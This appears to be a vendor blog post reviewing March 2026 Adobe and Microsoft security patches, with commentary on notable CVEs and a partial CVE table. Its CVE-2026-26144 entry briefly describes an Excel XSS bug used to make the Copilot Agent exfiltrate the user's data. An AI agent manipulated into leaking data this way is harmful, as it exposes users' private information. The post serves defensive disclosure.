<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
